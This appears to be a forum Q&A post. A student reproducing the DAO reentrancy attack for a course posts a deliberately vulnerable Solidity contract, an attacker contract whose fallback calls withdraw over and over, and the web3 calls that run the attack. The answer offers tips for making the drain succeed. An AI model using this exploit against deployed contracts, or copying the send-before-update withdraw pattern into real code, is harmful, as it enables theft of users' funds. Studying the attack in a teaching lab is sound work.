0

I am trying to replicate the famous DAO attack for a cryptocurrencies course.

I have the following contract already deployed on the blockchain.

pragma solidity ^0.5.4;

contract EDao {
    address payable public student; 

    //Events
    event Success(address src,uint256 ret);
    event Fail(address src,uint256 ret);
    event NotEnoughFunds(address src, uint256 req, uint256 avail, uint256 balance);

    //Structs 
    struct Fund {
        address payable payoutAddr;
        uint256 amount;
    }
    struct Investor {
        bool canFund;
        bool canAddInvestor;
    }

    //Mappings  
    mapping(address => Investor) investors;
    mapping(address => Fund) funds;

    constructor(address payable _student) public payable {
        // Set the deployer as one of the investors who initially funded this contract
        investors[msg.sender] = Investor({canFund:true, canAddInvestor:true});

        // Set the student as one of the investors
        student = _student;
        investors[student] = Investor({canFund:true, canAddInvestor:true});
    }

    function fundit(address payable to) public payable {
        Investor memory b = investors[msg.sender];
        if (b.canFund) {
            Fund storage f = funds[to];
            f.payoutAddr = to; 
            f.amount += msg.value;
            emit Success(msg.sender,0);
        } else {
            emit Fail(msg.sender,1);
            revert();
        }
    }

    function queryFunds(address addr) public view returns (uint256) {
        Fund memory f = funds[addr];
        return f.amount;
    }

    function withdraw(address payable addr,uint256 amount) public returns (bool) {
        Fund storage f = funds[addr];
        if (f.amount >= amount && amount <= address(this).balance) {
            (bool success, ) = f.payoutAddr.call.value(amount)("");
            if (success) {
                f.amount = f.amount - amount;
                return true;
            }
        } else {
          emit NotEnoughFunds(msg.sender,amount,f.amount,address(this).balance);
        }
        return false;
    }    

        function getStudent() public view returns (address) {
                return student;
        }

    function addInvestor(address payable investorAddr,bool canAdd) public {
        Investor memory b = investors[msg.sender];
        if (b.canAddInvestor) {
            investors[investorAddr] = Investor({canFund:true, canAddInvestor:canAdd});
            emit Success(msg.sender,0);
        } else {
            emit Fail(msg.sender,2);    
        }
    }

    function getInvestor(address investorAddr) public view returns (bool canFund, bool canAddInvestor) {
        Investor memory b = investors[investorAddr];
        canFund = b.canFund;
        canAddInvestor = b.canAddInvestor;
                return (canFund, canAddInvestor);
    }

}

I have also written this contract and also deployed this to the blockchain:

pragma solidity ^0.5.12;
import './EDao.sol';

contract Mallory {
    address payable owner;
    EDao public dao = EDao(##EdaoSmartContractAddress##);

    constructor() public{owner = msg.sender; }

    function getJackpot()public { owner.transfer(address(this).balance); }

    function() external payable { dao.withdraw(address(this), 1000000000000000000); }

}   

Now, to run the attack, I am doing the following:

Sending 1 eth to the edao address (contract) for the mallory address (einstance):

contract_function = contract.functions.fundit(einstance.address)
tx_hash = contract_function.transact({"from": w3.eth.accounts[0], "value": 1000000000000000000})

And then sending a transaction to Mallory with gas:

w3.eth.sendTransaction({'from':w3.eth.accounts[0], 
                        'to':einstance.address, 
                        'value':1,
                        'gas': 4712388})

After this ideally the callback function should help Mallory to steal all the coins from EDao. However, edao' balance increases by 1 and Mallory stays at zero.

Please help me to fix this. Am I doing something wrong?

0

1 Answer 1

0

I tried the contracts on remix.ethereum.org and they work as expected

Since your call is recursive at some point it will run out of gas and it will log NotEnoughFunds and the recursion will stop.

Some suggestions:

  • Make the initial funding with more than 1 ether.
  • Generate an event for a successful withdraw

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.